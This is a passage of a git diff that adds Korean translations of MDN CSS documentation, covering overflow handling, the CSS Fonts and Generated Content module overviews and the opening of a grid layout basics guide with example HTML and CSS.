+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}</p>
+
+<h2 id="상대적_플로우_속성">상대적 플로우 속성</h2>
+
+<p>우리는 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/%ED%9D%90%EB%A6%84_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EC%93%B0%EA%B8%B0_%EB%AA%A8%EB%93%9C">쓰기 모드와 플로우 레이아웃</a> 안내서에서 <code>block-size</code>와 <code>inline-size</code>라는 새로운 속성를 살펴보았는데, 이 속성은 물리적인 화면 크기에 레이아웃을 구속하기보다는 다양한 쓰기 모드에서 작업할 경우에 적합하다. 수준 3 오버플로 모듈에는 플로우에 상대적인 오버플로 속성들<code><a href="/en-US/docs/Web/CSS/@media/overflow-block">overflow-block</a></code>와 <code><a href="/en-US/docs/Web/CSS/@media/overflow-inline">overflow-inline</a></code>도 포함되어 있다. 그것들은 <code>overflow-x</code>와 <code>overflow-y</code>에 대응하지만, 매핑은 문서의 쓰기 모드 여하에 달려 있다.</p>
+
+<p>이들 속성은 현재 브라우저에 구현이 되어 있지 않으므로, 현 시점에는 물리적인 속성을 사용하고 쓰기 모드에 맞게 조정해야 한다.</p>
+
+<h2 id="오버플로_표시">오버플로 표시</h2>
+
+<p>수준 3 오버플로 규격에서 우리는 콘텐츠가 오버플로 상황에서 내용물이 보여지는 방식을 개선하도록 도움을 줄 수 있는 몇 가지 속성을 보유하고 있다.</p>
+
+<h3 id="인라인축_오버플로">인라인축 오버플로</h3>
+
+<p><code>text-overflow</code> 속성은 인라인 방향의 텍스트 오버플로을 처리한다. 이 속성에는 두 가지 값 중에서 택일한다. <code>clip</code>의 경우는 오버플로하면 내용물이 잘려나간다. 이것이 초기값이므로 기본 동작이다. 또한, <code>ellipsis</code>의 경우는 줄임표를 렌더링하는 것인데, 사용 중인 언어와 쓰기 모드에 따라서는 더 나은 문자로 대체될 수도 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}</p>
+
+<h3 id="블록축_오버플로">블록축 오버플로</h3>
+
+<p>이 글의 작성 시점에 명칭을 두고 아직 논의의 여지가 있지만, <code>block-overflow</code>란 속성도 있다. 이 제안으로 텍스트가 블록 크기를 오버플로할 때 줄임표를 추가할 수 있게 된다.</p>
+
+<p>이것은 예를 들어 문서 목록이 있고 제한된 양의 텍스트만 취하는 고정 높이 상자에 목록을 표시하는 경우에 유용하다. 상자나 제목을 클릭할 때 클릭할 내용이 더 많다는 것을 독자들이 인지하지 못할 수도 있다. 줄임표는 더 많은 내용이 있다는 사실을 분명하게 보여준다. 이 규격은 일련의 내용 또는 규칙적인 줄임표를 삽입할 수 있게 한다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>웹 상의 연속적인 미디어에 있는지 또는 인쇄 또는 EPUB와 같은 페이징 미디어 형식에 있는지 여부는 어떤 레이아웃 메서드를 처리할 때 어떻게 내용물이 오버플로하게 되는지 이해를 돕는데 유용하다. 일반 대열에서 오버플로이 어떻게 작동하는지 이해함으로써 격자나 가변상자 같은 레이아웃 방식에 포함된 오버플로 내용물의 파장을 더 쉽게 이해할 수 있어야 한다.</p>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
diff --git a/files/ko/web/css/css_fonts/index.html b/files/ko/web/css/css_fonts/index.html
new file mode 100644
index 0000000000..eef480caa7
--- /dev/null
+++ b/files/ko/web/css/css_fonts/index.html
@@ -0,0 +1,102 @@
+---
+title: CSS Fonts
+slug: Web/CSS/CSS_Fonts
+tags:
+ - CSS
+ - CSS Fonts
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Fonts
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Fonts</strong>는 글꼴 관련 속성 및 글꼴 자원이 로드되는 법을 정의하는 CSS 모듈입니다. 이는 글꼴의 스타일을 정의할 수 있습니다, 글꼴 패밀리, 크기 또는 굵기 및 한 문자에 여러 자체(glyph)가 있는 글꼴에 사용되는 이형(variant) 자체와 같은 줄높이도 정의할 수 있습니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("font-feature-settings")}}</li>
+ <li>{{cssxref("font-kerning")}}</li>
+ <li>{{cssxref("font-language-override")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-size-adjust")}}</li>
+ <li>{{cssxref("font-stretch")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("line-height")}}</li>
+</ul>
+</div>
+
+<h3 id="규칙">@규칙</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+ <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+ <li>{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+ <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+ <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{cssxref("@font-feature-values")}}</dt>
+</dl>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></dt>
+ <dd>In this beginner's learning article we go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Fonts/OpenType_fonts_guide">OpenType font features guide</a></dt>
+ <dd>Font features or variants refer to different glyphs or character styles contained within an OpenType font. These include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others. These are all referred to as OpenType Features, and are made available to use on the web via specific properties and a low-level control property — {{cssxref("font-feature-settings")}}. This article provides you with all you need to know about using OpenType font features in CSS.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">Variable fonts guide</a></dt>
+ <dd><strong>Variable fonts</strong> are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. This article will give you all you need to know to get you started using variable fonts.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#font', '')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_generated_content/index.html b/files/ko/web/css/css_generated_content/index.html
new file mode 100644
index 0000000000..6d1acc3c8e
--- /dev/null
+++ b/files/ko/web/css/css_generated_content/index.html
@@ -0,0 +1,43 @@
+---
+title: CSS Generated Content
+slug: Web/CSS/CSS_Generated_Content
+tags:
+ - CSS
+ - CSS Generated Content
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Generated_Content
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Generated Content</strong>는 요소에 콘텐츠를 추가하는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("content")}}</li>
+ <li>{{cssxref("quotes")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS2.1')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
new file mode 100644
index 0000000000..ce1ce28415
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
@@ -0,0 +1,765 @@
+---
+title: Basic concepts of grid layout
+slug: Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout
+tags:
+ - CSS
+ - CSS 그리드
+ - 가이드
+ - 레이아웃
+---
+<p><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃(Grid Layout)</a>은 CSS에 2차원의 그리드 시스템을 도입했습니다. 그리드는 주요 페이지 영역을 설계하거나 작은 사용자 인터페이스 요소를 배치하는 데 사용할 수 있습니다. 이 문서에서는 CSS 그리드 레이아웃 및 CSS 그리드 레이아웃 레벨 1 명세서에 포함된 새로운 기술 용어를 소개합니다. 이번 개요에 소개된 기능은 나머지 안내 문서에서 자세히 설명합니다.</p>
+
+<h2 id="그리드가_무엇인가요">그리드가 무엇인가요?</h2>
+
+<p>그리드는 수평선과 수직선이 교차해서 이루어진 집합체입니다 - 하나의 집합체는 세로 열을 그리고 다른 하나는 가로 행을 정의합니다. 각 요소는 이러한 열과 행으로 된 라인을 따라 생성된 그리드에 배치할 수 있습니다. CSS 그리드 레이아웃에는 다음과 같은 기능이 있습니다:</p>
+
+<h3 id="고정되거나_혹은_유연한_트랙_크기">고정되거나 혹은 유연한 트랙 크기</h3>
+
+<p>예를 들면, 픽셀 단위를 써서 트랙 크기가 고정된 그리드를 만들 수 있습니다. 이렇게 하면, 원하시는 레이아웃에 꼭 맞도록 픽셀 크기를 지정해서 그리드를 설정하실 수 있습니다. 또한, 퍼센트 혹은 이런 목적에 적합하도록 설계된 새로운 <code>fr</code> 단위의 가변 크기를 지정해서, 좀 더 유연한 성질의 그리드를 만들 수도 있습니다.</p>
+
+<h3 id="아이템_배치">아이템 배치</h3>
+
+<p>아이템은 라인 번호, 이름 또는 그리드 영역을 지정해서 그리드의 정확한 위치에 배치할 수 있습니다. 그리드는 또 명확하게 위치가 지정되지 않은 아이템을 알아서 적절히 배치하는 알고리즘도 가지고 있습니다.</p>
+
+<h3 id="콘텐츠를_담기_위한_추가_트랙의_생성">콘텐츠를 담기 위한 추가 트랙의 생성</h3>
+
+<p>그리드 레이아웃으로 그리드를 명시적으로 정의할 수 있지만, 지정된 그리드 밖에 따로 추가되는 콘텐츠에 대응하여 필요에 따라 행과 열을 추가할 수 있도록 표준 문서에서 기술하고 있습니다. 일 예로 “컨테이너에 들어갈 수 있는 만큼의 세로 열”을 추가하는 기능이 포함되었습니다.</p>
+
+<h3 id="정렬_제어">정렬 제어</h3>
+
+<p>그리드에는 정렬 기능이 있어서 그리드 영역에 아이템을 배치한 후 어떻게 정렬할지, 그리고 전체 그리드가 정렬되는 방식을 제어할 수 있습니다.</p>
+
+<h3 id="겹치는_콘텐츠_제어">겹치는 콘텐츠 제어</h3>
+
+<p>그리드 셀에 하나 이상의 아이템을 배치하거나 그리드 영역을 부분적으로 서로 겹치게 할 수 있습니다. 이렇게 생긴 중첩의 우선순위는 나중에 {{cssxref("z-index")}} 프로퍼티로 제어할 수 있습니다.</p>
+
+<p>그리드는 아주 강력한 기능을 담은 표준이라서 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">플랙스박스(flexbox)</a>와 같은 CSS의 다른 부분과 결합하면, 이전에는 CSS에서 불가능했던 레이아웃을 만들 수 있도록 도와줍니다. 이 모든 것은 <strong>그리드 컨테이너</strong>에서 그리드를 생성하는 것부터 시작합니다.</p>
+
+<h2 id="그리드_컨테이너">그리드 컨테이너</h2>
+
+<p><em>그리드 컨테이너</em>는 요소에 <code>display: grid</code> 또는 <code>display: inline-grid</code>를 선언하여 만듭니다. 이렇게 하면 해당 요소 <em>바로 밑에 있는 모든 자식 요소</em>는 <em>그리드 아이템</em>이 됩니다.</p>
+
+<p>다음 예제에는 클래스로 wrapper라는 이름을 가진 div이 있고, 안에는 다섯 개의 자식 요소가 있습니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>이제 <code>.wrapper</code> 요소를 그리드 컨테이너로 지정합니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_컨테이너', '200', '330') }}</p>
+
+<p>바로 밑에 있는 모든 자식 요소는 이제 그리드 아이템이 됩니다. 이렇게 하면 웹 브라우저에서 보이는 모습이 그리드로 전환하기 전과 별 차이가 없는데, 이는 그리드가 우선 아이템을 단일 열 형태의 구조를 가진 그리드를 생성하였기 때문입니다. 이 시점에서 Firefox Developer Edition에서 작업하는 것이 유용하실 텐데, 여기엔 개발자 도구의 일부로 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> 기능을 제공합니다. Firefox에서 이 예제의 그리드를 검사해보면, <code>grid</code> 값 바로 옆에 작은 아이콘이 보이실 겁니다. 이 아이콘을 클릭하면 해당 요소의 그리드가 브라우저 창 위에 중첩되어 표시됩니다.</p>
+
+<p><img alt="그리드를 살펴보기 위해 개발자 도구에 있는 그리드 하이라이터를 사용하는 모습" src="https://mdn.mozillademos.org/files/14631/1-grid-inspector.png" style="height: 753px; width: 900px;"></p>
+
+<p>CSS 그리드 레이아웃을 배우면서 작업하실 때 이 도구를 사용하면 그리드에서 발생하는 상황을 시각적으로 더 잘 파악하실 수 있습니다.</p>
+
+<p>이제 이것을 전형적인 그리드 형태의 모양으로 만들어 주려면 세로 방향의 트랙을 더 추가하면 됩니다.</p>
+
+<h2 id="그리드_트랙">그리드 트랙</h2>
+
+<p>그리드의 행과 열은 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}} 프로퍼티로 정의합니다. 이렇게 하면, 그리드 트랙도 함께 정의됩니다. <em>그리드 트랙</em>은 그리드에 그려진 두 라인 사이의 공간을 나타냅니다. 아래 그림에서는 그리드의 첫 번째 가로 행에 놓여있는 트랙이 돋보이게 표시된 것을 확인하실 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14637/1_Grid_Track.png" style="height: 261px; width: 392px;"></p>
+
+<p>앞의 예제에서 <code>grid-template-columns</code> 프로퍼티를 추가하고 세로 열에 놓이게 될 트랙의 크기를 정의해 줍니다.</p>
+
+<p>이제 200픽셀의 너비를 가진 세로 열 방향의 트랙 세 개를 생성합니다. 자식 아이템들은 이제 그리드에 있는 각자의 그리드 셀 위에 배치됩니다.</p>
+
+<div id="grid_first">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: 200px 200px 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('grid_first', '610', '140') }}</p>
+</div>
+
+<h3 id="fr_단위">fr 단위</h3>
+
+<p>트랙은 모든 종류의 길이 단위를 써서 정의할 수 있습니다. 또한, 그리드에는 유연한 크기의 그리드 트랙을 생성하는 데 사용할 수 있는 단위를 추가로 소개하고 있습니다. 새로 소개된 <code>fr</code> 단위는 그리드 컨테이너에 남아 있는 사용 가능한 공간의 일정 비율을 나타냅니다. 다음에 정의된 그리드에서는 남아 있는 공간에 따라 확장 및 축소되는 같은 너비의 트랙 3개를 생성합니다.</p>
+
+<div id="fr_unit_ls">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p>
+</div>
+
+<p>다음 예제에서는 <code>2fr</code> 크기의 트랙 하나와 <code>1fr</code> 트랙 두 개를 지정하였습니다. 사용 가능한 공간은 4개로 나뉘면서, 공간 두 개는 첫 번째 트랙에 제공하고 나머지 공간 한 부분씩을 다음 두 트랙에 각각 제공합니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: 2fr 1fr 1fr;
+}
+</pre>
+
+<p>이번 마지막 예에서는 고정된 크기의 트랙과 비율 단위로 지정한 트랙이 섞여 있습니다. 첫 번째 트랙은 500픽셀의 공간을 차지하므로 이 고정 너비는 사용 가능한 공간에서 제외됩니다. 나머지 공간은 3개의 부분으로 나뉘며 2개의 유연한 트랙에 비율에 맞게 할당됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: 500px 1fr 2fr;
+}
+</pre>
+
+<h3 id="repeat()_표기법으로_트랙_나열"><code>repeat()</code> 표기법으로 트랙 나열</h3>
+
+<p>많은 트랙을 포함하는 커다란 그리드는 <code>repeat()</code> 표기법을 사용하여 트랙의 전체 또는 일부분을 반복해서 나열해 줄 수 있습니다. 예를 들어 다음과 같이 정의된 그리드의 경우:</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<p>다음과 같이 작성할 수도 있습니다:</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>반복 표기법은 트랙의 목록 중 일부분에만 사용할 수도 있습니다. 아래 예제에서는 처음엔 20픽셀 크기의 트랙을 생성하고 다음에 <code>1fr</code> 크기의 트랙을 6번 반복해서 채운 후 마지막에 20픽셀 트랙을 붙여서 그리드를 완성합니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+</pre>
+
+<p>반복 표기법은 트랙의 목록도 함께 나열해서 지정할 수 있는데, 이렇게 하면 트랙의 반복 패턴을 생성해서 사용하게 됩니다. 다음 예제는 그리드가 10개의 트랙으로 구성되어 있으며, <code>1fr</code> 크기의 트랙 다음에 <code>2fr</code> 크기 트랙이 위치하고, 이 형태가 5회 반복됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(5, 1fr 2fr);
+}
+</pre>
+
+<h3 id="잠재적_그리고_명시적_그리드">잠재적 그리고 명시적 그리드</h3>
+
+<p>지금까지는 그리드 예제를 만들 때마다 {{cssxref("grid-template-columns")}} 프로퍼티를 써서 세로 열의 트랙을 정의해 주었습니다만, 가로 행은 그리드가 콘텐츠에 맞게 알아서 새로운 행을 만들도록 했습니다. 이렇게 만들어진 행은 잠재적 그리드 안에서 생성됩니다. 명시적 그리드는 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}}로 직접 정의한 행과 열로 이루어진 그리드를 말합니다. 만약에 이렇게 정의된 그리드 밖에 무언가를 배치할 땐, 늘어난 콘텐츠 양 때문에 더 많은 그리드 트랙이 필요하고, 그리드는 잠재적 그리드에 새로운 행과 열을 만들게 됩니다. 이렇게 해서 생긴 트랙은 기본적으로 크기가 자동으로 정해지는데, 트랙 내부의 내용물에 따라 크기가 조정됩니다.</p>
+
+<p>물론 잠재적 그리드에서 생성된 트랙의 크기는 {{cssxref("grid-auto-rows")}} 및 {{cssxref("grid-auto-columns")}} 프로퍼티를 써서 지정해줄 수도 있습니다.</p>
+
+<p>아래 예제에서는 잠재적 그리드에서 생성된 트랙의 높이가 반드시 200픽셀이 되도록 <code>grid-auto-rows</code>를 사용하여 하였습니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('잠재적_그리고_명시적_그리드', '230', '420') }}</p>
+
+<h3 id="트랙_크기_조정과_minmax()">트랙 크기 조정과 <code>minmax()</code></h3>
+
+<p>명시적 그리드를 설정하거나 자동으로 생성된 행이나 열의 크기를 정의할 때, 트랙의 최소 크기를 정해도 나중에 추가되는 콘텐츠에 맞게 늘어나도록 하고 싶을 때가 있을 겁니다. 예를 들면, 가로 행의 높이가 100픽셀 밑으로 줄어드는 것은 막고 싶지만, 콘텐츠가 300픽셀 높이까지 늘어나면 그에 따라 행의 높이도 같이 늘어나길 원할 때가 있습니다.</p>
+
+<p>이런 경우를 고려해서 그리드는 {{cssxref("minmax", "minmax()")}} 함수를 제공하고 있습니다. 다음 예제에서는 {{cssxref("grid-auto-rows")}} 값에 <code>minmax()</code> 를 사용하였습니다. 자동으로 생성된 행의 높이는 최소 100픽셀이고 최댓값은 <code>auto</code>입니다. <code>auto</code>를 지정하면 크기는 콘텐츠의 크기를 살피게 되는데, 가로 행에 있는 가장 높은 셀의 크기만큼 자동으로 늘어나서 부족한 공간을 메꿔줍니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two
+ &lt;p&gt;I have some more content in.&lt;/p&gt;
+ &lt;p&gt;This makes me taller than 100 pixels.&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('트랙_크기_조정과_minmax()', '240', '470') }}</p>
+
+<h2 id="그리드_라인">그리드 라인</h2>
+
+<p>그리드를 정의할 때 라인이 아닌 그리드 트랙을 정의한다는 점을 명심해야 합니다. 그러면 그리드는 아이템을 배치할 때 쓸 수 있게 번호가 매겨진 라인을 자동으로 제공합니다. 아래 그림처럼, 그리드가 세 개의 세로 열(Column)과 두 개의 가로 행(Row)으로 이루어져 있다면, 네 개의 Grid Line이 Column으로 자리 잡게 됩니다.</p>
+
+<p><img alt="번호가 매겨진 그리드 라인을 보여주는 다이어그램." src="https://mdn.mozillademos.org/files/14761/1_diagram_numbered_grid_lines.png" style="height: 456px; width: 764px;"></p>
+
+<p>라인은 문서의 작성 모드에 따라 번호가 매겨집니다. 왼쪽에서 오른쪽으로 쓰는 언어에서는 라인 1이 그리드의 왼쪽에 있습니다. 반대로 오른쪽에서 왼쪽으로 쓰는 언어에서는 그리드의 오른쪽에 있게 됩니다. 또한, 라인에 이름도 지정할 수 있으며, 자세한 방법은 이 시리즈의 후반부에서 살펴보겠습니다.</p>
+
+<h3 id="라인을_이용한_아이템_배치">라인을 이용한 아이템 배치</h3>
+
+<p>라인에 기반을 둔 배치 방법에 대해서는 다음에 더 자세히 탐구해 볼 예정입니다. 이번 예제에서는 아주 간단한 방법을 알아보겠습니다. 아이템을 배치할 때 트랙이 아닌 라인의 관점에서 정의해 보겠습니다.</p>
+
+<p>아래 예제에선 처음 두 개의 아이템을 세 개의 열 방향 트랙으로 구성된 그리드 위에 {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} 그리고 {{cssxref("grid-row-end")}} 프로퍼티를 써서 배치합니다. 왼쪽에서 오른쪽으로 작업하면서, 첫 번째 아이템은 세로 열 방향의 1번 라인에 배치되고 세로 열 방향 4번 라인까지 확장됩니다. 이 경우에는 그리드의 맨 오른쪽 라인까지 해당합니다. 그리고 가로 방향의 라인을 기준으로 1번 라인부터 시작해서 행 3번 라인까지 차지하면서 결국, 두 개의 가로 행 트랙을 가로질러 걸치게 됩니다.</p>
+
+<p>두 번째 아이템은 그리드 세로 열의 1번 라인에서 시작해서 트랙 하나에 걸쳐 있습니다. 여기엔 기본값을 사용해서 마지막 라인은 지정할 필요가 없습니다. 가로 행 방향 라인을 기준으로 3번의 라인부터 5번 라인까지 두 개의 가로 행 트랙에 걸쳐 있습니다. 나머지 아이템은 그리드 빈 자라에 자동으로 배치됩니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+ &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: 100px;
+}
+
+.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+}
+
+.box2 {
+ grid-column-start: 1;
+ grid-row-start: 3;
+ grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
